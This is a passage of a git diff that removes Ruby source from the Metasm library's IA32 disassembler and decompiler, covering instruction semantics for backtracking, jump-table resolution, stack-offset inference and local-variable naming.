=> Expression::Unknown, esi => Expression::Unknown, ecx => Expression::Unknown } - end - end - bd[:incomplete_binding] = Expression[1] if pfx[:rep] - bd - } - when 'clc'; lambda { |di| { :eflag_c => Expression[0] } } - when 'stc'; lambda { |di| { :eflag_c => Expression[1] } } - when 'cmc'; lambda { |di| { :eflag_c => Expression[:'!', :eflag_c] } } - when 'cld'; lambda { |di| { :eflag_d => Expression[0] } } - when 'std'; lambda { |di| { :eflag_d => Expression[1] } } - when 'setalc'; lambda { |di| { Reg.new(0, 8).symbolic => Expression[:eflag_c, :*, 0xff] } } - when /^set/; lambda { |di, *a| { a[0] => Expression[decode_cc_to_expr(op[/^set(.*)/, 1])] } } - when /^cmov/; lambda { |di, *a| fl = decode_cc_to_expr(op[/^cmov(.*)/, 1]) ; { a[0] => Expression[[fl, :*, a[1]], :|, [[1, :-, fl], :*, a[0]]] } } - when /^j/ - lambda { |di, a0| - ret = { 'dummy_metasm_0' => Expression[a0] } # mark modr/m as read - if fl = decode_cc_to_expr(op[/^j(.*)/, 1]) and fl != Expression::Unknown - ret['dummy_metasm_1'] = fl # mark eflags as read - end - ret - } - when 'fstenv', 'fnstenv' - lambda { |di, a0| - # stores the address of the last non-control fpu instr run - lastfpuinstr = di.block.list[0...di.block.list.index(di)].reverse.find { |pdi| - case pdi.opcode.name - when /fn?init|fn?clex|fldcw|fn?st[cs]w|fn?stenv|fldenv|fn?save|frstor|f?wait/ - when /^f/; true - end - } if di.block - lastfpuinstr = lastfpuinstr.address if lastfpuinstr - ret = {} - save_at = lambda { |off, val| ret[Indirection[a0.target + off, 4, di.address]] = val } - save_at[0, Expression::Unknown] - save_at[4, Expression::Unknown] - save_at[8, Expression::Unknown] - save_at[12, lastfpuinstr || Expression::Unknown] - save_at[16, Expression::Unknown] - save_at[20, Expression::Unknown] - save_at[24, Expression::Unknown] - ret - } - when 'bt'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1] } } - when 'bts'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], - a0 => Expression[a0, :|, [1, :<<, [a1, :%, opsz(di)]]] } } - when 'btr'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], - a0 => Expression[a0, :&, [[1, :<<, [a1, :%, opsz(di)]], :^, mask[di]]] } } - when 'btc'; lambda { |di, a0, a1| { :eflag_c => Expression[[a0, :>>, [a1, :%, opsz(di)]], :&, 1], - a0 => Expression[a0, :^, [1, :<<, [a1, :%, opsz(di)]]] } } - when 'bswap' - lambda { |di, a0| - case opsz(di) - when 64 - { a0 => Expression[ - [[[[a0, :&, 0xff000000_00000000], :>>, 56], :|, - [[a0, :&, 0x00ff0000_00000000], :>>, 40]], :|, - [[[a0, :&, 0x0000ff00_00000000], :>>, 24], :|, - [[a0, :&, 0x000000ff_00000000], :>>, 8]]], :|, - [[[[a0, :&, 0x00000000_ff000000], :<<, 8], :|, - [[a0, :&, 0x00000000_00ff0000], :<<, 24]], :|, - [[[a0, :&, 0x00000000_0000ff00], :<<, 40], :|, - [[a0, :&, 0x00000000_000000ff], :<<, 56]]]] } - when 32 - { a0 => Expression[ - [[[a0, :&, 0xff000000], :>>, 24], :|, - [[a0, :&, 0x00ff0000], :>>, 8]], :|, - [[[a0, :&, 0x0000ff00], :<<, 8], :|, - [[a0, :&, 0x000000ff], :<<, 24]]] } - when 16 - # bswap ax => mov ax, 0 - { a0 => 0 } - end - } - when 'nop', 'pause', 'wait', 'cmp', 'test'; lambda { |di, *a| {} } - end - - # add eflags side-effects - - full_binding = case op - when 'adc', 'add', 'and', 'cmp', 'or', 'sbb', 'sub', 'xor', 'test', 'xadd' - lambda { |di, a0, a1| - e_op = { 'adc' => :+, 'add' => :+, 'xadd' => :+, 'and' => :&, 'cmp' => :-, 'or' => :|, 'sbb' => :-, 'sub' => :-, 'xor' => :^, 'test' => :& }[op] - res = Expression[[a0, :&, mask[di]], e_op, [a1, :&, mask[di]]] - res = Expression[res, e_op, :eflag_c] if op == 'adc' or op == 'sbb' - - ret = (binding ? binding[di, a0, a1] : {}) - ret[:eflag_z] = Expression[[res, :&, mask[di]], :==, 0] - ret[:eflag_s] = sign[res, di] - ret[:eflag_c] = case e_op - when :+; Expression[res, :>, mask[di]] - when :-; Expression[[a0, :&, mask[di]], :<, [a1, :&, mask[di]]] - else Expression[0] - end - ret[:eflag_o] = case e_op - when :+; Expression[[sign[a0, di], :==, sign[a1, di]], :'&&', [sign[a0, di], :'!=', sign[res, di]]] - when :-; Expression[[sign[a0, di], :==, [:'!', sign[a1, di]]], :'&&', [sign[a0, di], :'!=', sign[res, di]]] - else Expression[0] - end - ret - } - when 'inc', 'dec', 'neg', 'shl', 'shr', 'sar', 'ror', 'rol', 'rcr', 'rcl', 'shld', 'shrd' - lambda { |di, a0, *a| - ret = (binding ? binding[di, a0, *a] : {}) - res = ret[a0] || Expression::Unknown - ret[:eflag_z] = Expression[[res, :&, mask[di]], :==, 0] - ret[:eflag_s] = sign[res, di] - case op - when 'neg'; ret[:eflag_c] = Expression[[res, :&, mask[di]], :'!=', 0] - when 'inc', 'dec' # don't touch carry flag - else ret[:eflag_c] = Expression::Unknown # :incomplete_binding ? - end - ret[:eflag_o] = case op - when 'inc'; Expression[[a0, :&, mask[di]], :==, mask[di] >> 1] - when 'dec'; Expression[[res , :&, mask[di]], :==, mask[di] >> 1] - when 'neg'; Expression[[a0, :&, mask[di]], :==, (mask[di]+1) >> 1] - else Expression::Unknown - end - ret - } - when 'imul', 'mul', 'idiv', 'div', /^(scas|cmps)[bwdq]$/ - lambda { |di, *a| - ret = (binding ? binding[di, *a] : {}) - ret[:eflag_z] = ret[:eflag_s] = ret[:eflag_c] = ret[:eflag_o] = Expression::Unknown # :incomplete_binding ? - ret - } - end - - @backtrace_binding[op] ||= full_binding || binding if full_binding || binding - } - @backtrace_binding - end - - # returns the condition (bool Expression) under which a conditionnal jump is taken - # returns nil if not a conditionnal jump - # backtrace for the condition must include the jump itself (eg loop -> ecx--) - def get_jump_condition(di) - ecx = register_symbols[1] - case di.opcode.name - when /^j(.*)/ - decode_cc_to_expr($1) - when /^loop(.+)?/ - e = Expression[ecx, :'!=', 0] - e = Expression[e, :'||', decode_cc_to_expr($1)] if $1 - e - end - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when ModRM, Reg, SimdReg; arg.symbolic(di) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - bd = binding[di, *a] - # handle modifications to al/ah etc - bd.keys.grep(Expression).each { |e| - # must be in the form (x & mask), with x either :reg or (:reg >> shift) eg ah == ((eax >> 8) & 0xff) - if e.op == :& and mask = e.rexpr and mask.kind_of? Integer - reg = e.lexpr - reg = reg.lexpr if reg.kind_of? Expression and reg.op == :>> and shift = reg.rexpr and shift.kind_of? Integer - next if not reg.kind_of? Symbol - if bd.has_key? reg - # xchg ah, al ; pop sp.. - puts "backtrace: conflict for #{di}: #{e} vs #{reg}" if $VERBOSE - bd[reg] = Expression::Unknown - next - end - val = bd.delete e - mask <<= shift if shift - invmask = mask ^ (@size == 64 ? 0xffff_ffff_ffff_ffff : 0xffff_ffff) - if invmask == 0xffff_ffff_0000_0000 and not di.opcode.props[:op32no64] - bd[reg] = Expression[val, :&, 0xffff_ffff] - elsif invmask == 0 - bd[reg] = val - else - val = Expression[val, :<<, shift] if shift - bd[reg] = Expression[[reg, :&, invmask], :|, [val, :&, mask]] - end - end - } - bd - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - end - - # patch a forward binding from the backtrace binding - # fixes fwdemu for push/pop/call/ret - def fix_fwdemu_binding(di, fbd) - if di.instruction.args.grep(ModRM).find { |m| m.seg and m.symbolic(di).target.lexpr =~ /^segment_base_/ } - fbd = fbd.dup - fbd[:incomplete_binding] = Expression[1] - end - - case di.opcode.name - when 'push', 'call' - fbd = fbd.dup - sz = opsz(di)/8 - esp = register_symbols[4] - if i = fbd.delete(Indirection[esp, sz]) - fbd[Indirection[[esp, :-, sz], sz]] = i - end - when 'pop', 'ret' # nothing to do - when /^(push|pop|call|ret|enter|leave|stos|movs|lods|scas|cmps)/ - fbd = fbd.dup - fbd[:incomplete_binding] = Expression[1] # TODO - end - fbd - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - sz = opsz(di) - case di.opcode.basename - when 'ret'; return [Indirection[register_symbols[4], sz/8, di.address]] - when 'jmp', 'call' - a = di.instruction.args.first - if dasm and a.kind_of?(ModRM) and a.imm and (a.s == sz/8 or a.s == 4) and not a.b and dasm.get_section_at(a.imm) - return get_xrefs_x_jmptable(dasm, di, a, a.s*8) - end - end - - case tg = di.instruction.args.first - when ModRM - tg.sz ||= sz if tg.kind_of? ModRM - [Expression[tg.symbolic(di)]] - when Reg; [Expression[tg.symbolic(di)]] - when Expression, ::Integer; [Expression[tg]] - when Farptr; tg.seg.reduce < 0x30 ? [tg.addr] : [Expression[[tg.seg, :*, 0x10], :+, tg.addr]] - else - puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG - [] - end - end - - # we detected a jmp table (jmp [base+4*idx]) - # try to return an accurate dest list - def get_xrefs_x_jmptable(dasm, di, mrm, sz) - # include the symbolic dest for backtrack stuff - ret = [Expression[mrm.symbolic(di)]] - i = mrm.i - if di.block.list.length == 2 and di.block.list[0].opcode.name =~ /^mov/ and a0 = di.block.list[0].instruction.args[0] and - a0.respond_to? :symbolic and a0.symbolic == i.symbolic - i = di.block.list[0].instruction.args[1] - end - pb = di.block.from_normal.to_a - if pb.length == 1 and pdi = dasm.decoded[pb[0]] and pdi.opcode.name =~ /^jn?be?/ and ppdi = pdi.block.list[-2] and ppdi.opcode.name == 'cmp' and - ppdi.instruction.args[0].symbolic == i.symbolic and lim = Expression[ppdi.instruction.args[1]].reduce and lim.kind_of? Integer - # cmp eax, 42 ; jbe switch ; switch: jmp [base+4*eax] - s = dasm.get_section_at(mrm.imm) - lim += 1 if pdi.opcode.name[-1] == ?e - lim.times { |v| - dasm.add_xref(s[1]+s[0].ptr, Xref.new(:r, di.address, sz/8)) - ret << Indirection[[mrm.imm, :+, v*sz/8], sz/8, di.address] - s[0].read(sz/8) - } - l = dasm.auto_label_at(mrm.imm, 'jmp_table', 'xref') - replace_instr_arg_immediate(di.instruction, mrm.imm, Expression[l]) - # add 'case 1' comments - cases = {} - ret.each_with_index { |ind, idx| - idx -= 1 # ret[0] = symbolic - next if idx < 0 - a = dasm.backtrace(ind, di.address) - if a.length == 1 and a[0].kind_of?(Expression) and addr = a[0].reduce and addr.kind_of?(::Integer) - (cases[addr] ||= []) << idx - end - } - cases.each { |addr, list| - dasm.add_comment(addr, "case #{list.join(', ')}:") - } - return ret - end - - puts "unrecognized jmp table pattern, using wild guess for #{di}" if $VERBOSE - di.add_comment 'wildguess' - if s = dasm.get_section_at(mrm.imm - 3*sz/8) - v = -3 - else - s = dasm.get_section_at(mrm.imm) - v = 0 - end - while s[0].ptr < s[0].length - ptr = dasm.normalize s[0].decode_imm("u#{sz}".to_sym, @endianness) - diff = Expression[ptr, :-, di.address].reduce - if (diff.kind_of? ::Integer and diff.abs < 4096) or (di.opcode.basename == 'call' and ptr != 0 and dasm.get_section_at(ptr)) - dasm.add_xref(s[1]+s[0].ptr-sz/8, Xref.new(:r, di.address, sz/8)) - ret << Indirection[[mrm.imm, :+, v*sz/8], sz/8, di.address] - elsif v > 0 - break - end - v += 1 - end - ret - end - - # checks if expr is a valid return expression matching the :saveip instruction - def backtrace_is_function_return(expr, di=nil) - expr = Expression[expr].reduce_rec - expr.kind_of? Indirection and expr.len == @size/8 and expr.target == Expression[register_symbols[4]] - end - - # updates the function backtrace_binding - # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) - # XXX assume retaddrlist is either a list of addr of ret or a list with a single entry which is an external function name (thunk) - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - b = f.backtrace_binding - - esp, ebp = register_symbols[4, 2] - - # XXX handle retaddrlist for multiple/mixed thunks - if retaddrlist and not dasm.decoded[retaddrlist.first] and di = dasm.decoded[faddr] - # no return instruction, must be a thunk : find the last instruction (to backtrace from it) - done = [] - while ndi = dasm.decoded[di.block.to_subfuncret.to_a.first] || dasm.decoded[di.block.to_normal.to_a.first] and ndi.kind_of? DecodedInstruction and not done.include? ndi.address - done << ndi.address - di = ndi - end - if not di.block.to_subfuncret.to_a.first and di.block.to_normal and di.block.to_normal.length > 1 - thunklast = di.block.list.last.address - end - end - - bt_val = lambda { |r| - next if not retaddrlist - b[r] = Expression::Unknown # TODO :pending or something ? (for recursive lazy functions) - bt = [] - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], (thunklast ? thunklast : retaddr), - :include_start => true, :snapshot_addr => faddr, :origin => retaddr, :from_subfuncret => thunklast) - } - if bt.length != 1 - b[r] = Expression::Unknown - else - b[r] = bt.first - end - } - - if not wantregs.empty? - wantregs.each(&bt_val) - else - if dasm.function_blocks(faddr, true).length < 20 - register_symbols.each(&bt_val) - else - [ebp, esp].each(&bt_val) - end - end - - backtrace_update_function_binding_check(dasm, faddr, f, b, &bt_val) - - b - end - - def backtrace_update_function_binding_check(dasm, faddr, f, b) - sz = @size/8 - if b[:ebp] and b[:ebp] != Expression[:ebp] - # may be a custom 'enter' function (eg recent Visual Studio) - # TODO put all memory writes in the binding ? - [[:ebp], [:esp, :+, 1*sz], [:esp, :+, 2*sz], [:esp, :+, 3*sz]].each { |ptr| - ind = Indirection[ptr, sz, faddr] - yield(ind) - b.delete(ind) if b[ind] and not [:ebx, :edx, :esi, :edi, :ebp].include? b[ind].reduce_rec - } - end - if dasm.funcs_stdabi - if b[:esp] and b[:esp] == Expression::Unknown and not f.btbind_callback - puts "update_func_bind: #{Expression[faddr]} has esp -> unknown, use dynamic callback" if $DEBUG - f.btbind_callback = disassembler_default_btbind_callback - end - [:ebp, :ebx, :esi, :edi].each { |reg| - if b[reg] and b[reg] == Expression::Unknown - puts "update_func_bind: #{Expression[faddr]} has #{reg} -> unknown, presume it is preserved" if $DEBUG - b[reg] = Expression[reg] - end - } - else - if b[:esp] and not Expression[b[:esp], :-, :esp].reduce.kind_of?(::Integer) - puts "update_func_bind: #{Expression[faddr]} has esp -> #{b[:esp]}" if $DEBUG - end - end - - # rename some functions - # TODO database and real signatures - rename = - if b[:eax] and Expression[b[:eax], :-, faddr].reduce == 0 - 'geteip' # metasm pic linker - elsif b[:eax] and b[:ebx] and Expression[b[:eax], :-, :eax].reduce == 0 and Expression[b[:ebx], :-, Indirection[:esp, sz, nil]].reduce == 0 - 'get_pc_thunk_ebx' # elf pic convention - elsif b[:esp] and Expression[b[:esp], :-, [:esp, :-, Indirection[[:esp, :+, 2*sz], sz]]].reduce.kind_of? ::Integer and - dasm.decoded[faddr].block.list.find { |di| di.backtrace_binding[Indirection['segment_base_fs', sz]] } - '__SEH_prolog' - elsif b[:esp] == Expression[:ebp, :+, sz] and - dasm.decoded[faddr].block.list.find { |di| di.backtrace_binding[Indirection['segment_base_fs', sz]] } - '__SEH_epilog' - end - dasm.auto_label_at(faddr, rename, 'loc', 'sub') if rename - end - - # returns true if the expression is an address on the stack - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include? register_symbols[4] - end - - # updates an instruction's argument replacing an expression with another (eg label renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when ModRM - a.imm = (a.imm == old ? new : Expression[a.imm.bind(old => new).reduce]) if a.imm - a - else a - end - } - end - - # returns a DecodedFunction from a parsed C function prototype - # TODO rebacktrace already decoded functions (load a header file after dasm finished) - # TODO walk structs args - def decode_c_function_prototype(cp, sym, orig=nil) - sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String) - df = DecodedFunction.new - orig ||= Expression[sym.name] - - new_bt = lambda { |expr, rlen| - df.backtracked_for << BacktraceTrace.new(expr, orig, expr, rlen ? :r : :x, rlen) - } - - # return instr emulation - if sym.has_attribute 'noreturn' or sym.has_attribute '__noreturn__' - df.noreturn = true - else - new_bt[Indirection[:esp, @size/8, orig], nil] - end - - # register dirty (XXX assume standard ABI) - [:eax, :ecx, :edx].each { |r| - df.backtrace_binding.update r => Expression::Unknown - } - - # emulate ret - al = cp.typesize[:ptr] - stackoff = al - if sym.has_attribute 'fastcall' - stackoff = sym.type.args.to_a[2..-1].to_a.inject(al) { |sum, a| sum += (cp.sizeof(a) + al - 1) / al * al } - elsif sym.has_attribute 'stdcall' - stackoff = sym.type.args.to_a.inject(al) { |sum, a| sum += (cp.sizeof(a) + al - 1) / al * al } - end - df.backtrace_binding[:esp] = Expression[:esp, :+, stackoff] - - # scan args for function pointers - # TODO walk structs/unions.. - stackoff = al - sym.type.args.to_a.each { |a| - p = Indirection[[:esp, :+, stackoff], al, orig] - stackoff += (cp.sizeof(a) + al - 1) / al * al - if a.type.untypedef.kind_of? C::Pointer - pt = a.type.untypedef.type.untypedef - if pt.kind_of? C::Function - new_bt[p, nil] - df.backtracked_for.last.detached = true - elsif pt.kind_of? C::Struct - new_bt[p, al] - else - new_bt[p, cp.sizeof(nil, pt)] - end - end - } - - df - end - - # the lambda for the :default backtrace_binding callback of the disassembler - # tries to determine the stack offset of unprototyped functions - # working: - # checks that origin is a ret, that expr is an indirection from esp and that expr.origin is the ret - # bt_walk from calladdr until we finds a call into us, and assumes it is the current function start - # TODO handle foo: call bar ; bar: pop eax ; call ; ret -> bar is not the function start (foo is) - # then backtrace expr from calladdr to funcstart (snapshot), using esp -> esp+ - # from the result, compute stackoffvariable (only if trivial) - # will not work if the current function calls any other unknown function (unless all are __cdecl) - # will not work if the current function is framed (ebp leave ret): in this case the function will return, but its esp will be unknown - # if the stack offset is found and funcaddr is a string, fixup the static binding and remove the dynamic binding - # TODO dynamise thunks bt_for & bt_cb - def disassembler_default_btbind_callback - esp = register_symbols[4] - - lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| - @dasm_func_default_off ||= {} - if off = @dasm_func_default_off[[dasm, calladdr]] - bind = bind.merge(esp => Expression[esp, :+, off]) - break bind - end - break bind if not odi = dasm.decoded[origin] or odi.opcode.basename != 'ret' - expr = expr.reduce_rec if expr.kind_of? Expression - break bind unless expr.kind_of? Indirection and expr.origin == origin - break bind unless expr.externals.reject { |e| e =~ /^autostackoffset_/ } == [esp] - - curfunc = dasm.function[funcaddr] - if curfunc.backtrace_binding and tk = curfunc.backtrace_binding[:thunk] and dasm.function[tk] - curfunc = dasm.function[tk] - end - - # scan from calladdr for the probable parent function start - func_start = nil - dasm.backtrace_walk(true, calladdr, false, false, nil, maxdepth) { |ev, foo, h| - if ev == :up and h[:sfret] != :subfuncret and di = dasm.decoded[h[:to]] and di.opcode.basename == 'call' - func_start = h[:from] - break - elsif ev == :end - # entrypoints are functions too - func_start = h[:addr] - break - end - } - break bind if not func_start - puts "automagic #{Expression[funcaddr]}: found func start for #{dasm.decoded[origin]} at #{Expression[func_start]}" if dasm.debug_backtrace - s_off = "autostackoffset_#{Expression[funcaddr]}_#{Expression[calladdr]}" - list = dasm.backtrace(expr.bind(esp => Expression[esp, :+, s_off]), calladdr, :include_start => true, :snapshot_addr => func_start, :maxdepth => maxdepth, :origin => origin) - # check if this backtrace made us find our binding - if off = @dasm_func_default_off[[dasm, calladdr]] - bind = bind.merge(esp => Expression[esp, :+, off]) - break bind - elsif not curfunc.btbind_callback - break curfunc.backtrace_binding - end - e_expr = list.find { |e_expr_| - # TODO cleanup this - e_expr_ = Expression[e_expr_].reduce_rec - next if not e_expr_.kind_of? Indirection - off = Expression[[esp, :+, s_off], :-, e_expr_.target].reduce - off.kind_of? Integer and off >= @size/8 and off < 10*@size/8 and (off % (@size/8)) == 0 - } || list.first - - e_expr = e_expr.rexpr if e_expr.kind_of? Expression and e_expr.op == :+ and not e_expr.lexpr - break bind unless e_expr.kind_of? Indirection - - off = Expression[[esp, :+, s_off], :-, e_expr.target].reduce - if off.kind_of? Expression - bd = off.externals.grep(/^autostackoffset_/).inject({}) { |bd_, xt| bd_.update xt => @size/8 } - bd.delete s_off - if off.bind(bd).reduce == @size/8 - # all __cdecl - off = @size/8 - else - # check if all calls are to the same extern func - bd.delete_if { |k, v| k !~ /^autostackoffset_#{Expression[funcaddr]}_/ } - bd.each_key { |k| bd[k] = 0 } - if off.bind(bd).reduce.kind_of? Integer - off = off.bind(bd).reduce / (bd.length + 1) - end - end - end - if off.kind_of? Integer - if off < @size/8 or off > 20*@size/8 or (off % (@size/8)) != 0 - puts "autostackoffset: ignoring off #{off} for #{Expression[funcaddr]} from #{dasm.decoded[calladdr]}" if $VERBOSE - off = :unknown - end - end - - bind = bind.merge esp => Expression[esp, :+, off] if off != :unknown - if funcaddr != :default - if not off.kind_of? ::Integer - #XXX we allow the current function to return, so we should handle the func backtracking its esp - #(and other register that are saved and restored in epilog) - puts "stackoff #{dasm.decoded[calladdr]} | #{Expression[func_start]} | #{expr} | #{e_expr} | #{off}" if dasm.debug_backtrace - else - puts "autostackoffset: found #{off} for #{Expression[funcaddr]} from #{dasm.decoded[calladdr]}" if $VERBOSE - curfunc.btbind_callback = nil - curfunc.backtrace_binding = bind - - # rebacktrace the return address, so that other unknown funcs that depend on us are solved - dasm.backtrace(Indirection[esp, @size/8, origin], origin, :origin => origin) - end - else - if off.kind_of? ::Integer and dasm.decoded[calladdr] - puts "autostackoffset: found #{off-@size/8} for #{dasm.decoded[calladdr]}" if $VERBOSE - di = dasm.decoded[calladdr] - di.comment.delete_if { |c| c =~ /^stackoff=/ } if di.comment - di.add_comment "stackoff=#{off-@size/8}" - @dasm_func_default_off[[dasm, calladdr]] = off - - dasm.backtrace(Indirection[esp, @size/8, origin], origin, :origin => origin) - elsif cachedoff = @dasm_func_default_off[[dasm, calladdr]] - bind[esp] = Expression[esp, :+, cachedoff] - elsif off.kind_of? ::Integer - dasm.decoded[calladdr].add_comment "stackoff=#{off-@size/8}" - end - - puts "stackoff #{dasm.decoded[calladdr]} | #{Expression[func_start]} | #{expr} | #{e_expr} | #{off}" if dasm.debug_backtrace - end - - bind - } - end - - # the :default backtracked_for callback - # returns empty unless funcaddr is not default or calladdr is a call or a jmp - def disassembler_default_btfor_callback - lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default; btfor - elsif di = dasm.decoded[calladdr] and (di.opcode.name == 'call' or di.opcode.name == 'jmp'); btfor - else [] - end - } - end - - # returns a DecodedFunction suitable for :default - # uses disassembler_default_bt{for/bind}_callback - def disassembler_default_func - esp = register_symbols[4] - cp = new_cparser - cp.parse 'void stdfunc(void);' - f = decode_c_function_prototype(cp, 'stdfunc', :default) - f.backtrace_binding[esp] = Expression[esp, :+, :unknown] - f.btbind_callback = disassembler_default_btbind_callback - f.btfor_callback = disassembler_default_btfor_callback - f - end - - # returns a hash { :retval => r, :changed => [] } - def abi_funcall - { :retval => register_symbols[0], :changed => register_symbols[0, 3] } - end - - - # computes the binding of the sequence of code starting at entry included - # the binding is a hash showing the value of modified elements at the - # end of the code sequence, relative to their value at entry - # the elements are all the registers and the memory written to - # if finish is nil, the binding will include :ip, which is the address - # to be executed next (if it exists) - # the binding will not include memory access from subfunctions - # entry should be an entrypoint of the disassembler if finish is nil - # the code sequence must have only one end, with no to_normal - def code_binding(dasm, entry, finish=nil) - entry = dasm.normalize(entry) - finish = dasm.normalize(finish) if finish - lastdi = nil - binding = {} - bt = lambda { |from, expr, inc_start| - ret = dasm.backtrace(Expression[expr], from, :snapshot_addr => entry, :include_start => inc_start) - ret.length == 1 ? ret.first : Expression::Unknown - } - - # walk blocks, search for finish, scan memory writes - todo = [entry] - done = [Expression::Unknown] - while addr = todo.pop - addr = dasm.normalize(addr) - next if done.include? addr or addr == finish or not dasm.decoded[addr].kind_of? DecodedInstruction - done << addr - b = dasm.decoded[addr].block - - next if b.list.find { |di| - a = di.address - if a == finish - lastdi = b.list[b.list.index(di) - 1] - true - else - # check writes from the instruction - get_xrefs_w(dasm, di).each { |waddr, len| - # we want the ptr expressed with reg values at entry - ptr = bt[a, waddr, false] - binding[Indirection[ptr, len, a]] = bt[a, Indirection[waddr, len, a], true] - } - false - end - } - - hasnext = false - b.each_to_samefunc(dasm) { |t| - hasnext = true - if t == finish - lastdi = b.list.last - else - todo << t - end - } - - # check end of sequence - if not hasnext - raise "two-ended code_binding #{lastdi} & #{b.list.last}" if lastdi - lastdi = b.list.last - if lastdi.opcode.props[:setip] - e = get_xrefs_x(dasm, lastdi) - raise 'bad code_binding ending' if e.to_a.length != 1 or not lastdi.opcode.props[:stopexec] - binding[:ip] = bt[lastdi.address, e.first, false] - elsif not lastdi.opcode.props[:stopexec] - binding[:ip] = lastdi.next_addr - end - end - end - binding.delete_if { |k, v| Expression[k] == Expression[v] } - - # add register binding - raise "no code_binding end" if not lastdi and not finish - register_symbols.each { |reg| - val = - if lastdi; bt[lastdi.address, reg, true] - else bt[finish, reg, false] - end - next if val == Expression[reg] - mask = 0xffff_ffff # dont use 1<<@size, because 16bit code may use e.g. edi (through opszoverride) - mask = 0xffff_ffff_ffff_ffff if @size == 64 - val = Expression[val, :&, mask].reduce - binding[reg] = Expression[val] - } - - binding - end - - # trace the stack pointer register across a function, rename occurences of esp+XX to esp+var_XX - def name_local_vars(dasm, funcaddr) - esp = register_symbols[4] - func = dasm.function[funcaddr] - subs = [] - dasm.trace_function_register(funcaddr, esp => 0) { |di, r, off, trace| - next if r.to_s =~ /flag/ - if di.opcode.name == 'call' and tf = di.block.to_normal.find { |t| dasm.function[t] and dasm.function[t].localvars } - subs << [trace[esp], dasm.function[tf].localvars] - end - di.instruction.args.grep(ModRM).each { |mrm| - b = mrm.b || (mrm.i if mrm.s == 1) - # its a modrm => b is read, so ignore r/off (not yet applied), use trace only - stackoff = trace[b.symbolic] if b - next if not stackoff - imm = mrm.imm || Expression[0] - frameoff = imm + stackoff - if frameoff.kind_of?(::Integer) - # XXX register args ? non-ABI standard register args ? (eg optimized x64) - str = 'var_%X' % (-frameoff) - str = 'arg_%X' % (frameoff-@size/8) if frameoff > 0 - str = func.get_localvar_stackoff(frameoff, di, str) if func - imm = imm.expr if imm.kind_of?(ExpressionString) - mrm.imm = ExpressionString.new(imm, str, :stackvar) - end - } - off = off.reduce if off.kind_of?(Expression) - next unless off.kind_of?(Integer) - off - } - # if subfunctions are called at a fixed stack offset, rename var_3c -> subarg_0 - if func and func.localvars and not subs.empty? and subs.all? { |sb| sb[0] == subs.first[0] } - func.localvars.each { |varoff, varname| - subargnames = subs.map { |o, sb| sb[varoff-o+@size/8] }.compact - if subargnames.uniq.length == 1 - varname.replace 'sub'+subargnames[0] - end - } - end - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/decompile.rb b/lib/metasm/metasm/cpu/ia32/decompile.rb deleted file mode 100644 index 06035defd7..0000000000 --- a/lib/metasm/metasm/cpu/ia32/decompile.rb +++ /dev/null @@ -1,564 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/main' - -module Metasm -class Ia32 - # temporarily setup dasm.address_binding so that backtracking - # stack-related offsets resolve in :frameptr (relative to func start) - def decompile_makestackvars(dasm, funcstart, blocks) - oldfuncbd = dasm.address_binding[funcstart] - dasm.address_binding[funcstart] = { :esp => :frameptr } # this would suffice, the rest here is just optimisation - - patched_binding = [funcstart] # list of addresses to cleanup later - ebp_frame = true - - # pretrace esp and ebp for each function block (cleared later) - # TODO with more than 1 unknown __stdcall ext func per path, esp -> unknown, which makes very ugly C (*esp-- = 12...); add heuristics ? - blocks.each { |block| - blockstart = block.address - if not dasm.address_binding[blockstart] - patched_binding << blockstart - dasm.address_binding[blockstart] = {} - foo = dasm.backtrace(:esp, blockstart, :snapshot_addr => funcstart) - if foo.length == 1 and ee = foo.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer)) - dasm.address_binding[blockstart][:esp] = ee - end - if ebp_frame - foo = dasm.backtrace(:ebp, blockstart, :snapshot_addr => funcstart) - if foo.length == 1 and ee = foo.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer)) - dasm.address_binding[blockstart][:ebp] = ee - else - ebp_frame = false # func does not use ebp as frame ptr, no need to bt for later blocks - end - end - end - - yield block - } - - ensure - patched_binding.each { |a| dasm.address_binding.delete a } - dasm.address_binding[funcstart] = oldfuncbd if oldfuncbd - end - - # list variable dependency for each block, remove useless writes - # returns { blockaddr => [list of vars that are needed by a following block] } - def decompile_func_finddeps(dcmp, blocks, func) - deps_r = {} ; deps_w = {} ; deps_to = {} - deps_subfunc = {} # things read/written by subfuncs - - # find read/writes by each block - blocks.each { |b, to| - deps_r[b] = [] ; deps_w[b] = [] ; deps_to[b] = to - deps_subfunc[b] = [] - - blk = dcmp.dasm.decoded[b].block - blk.list.each { |di| - a = di.backtrace_binding.values - w = [] - di.backtrace_binding.keys.each { |k| - case k - when ::Symbol; w |= [k] - else a |= Expression[k].externals # if dword [eax] <- 42, eax is read - end - } - a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name 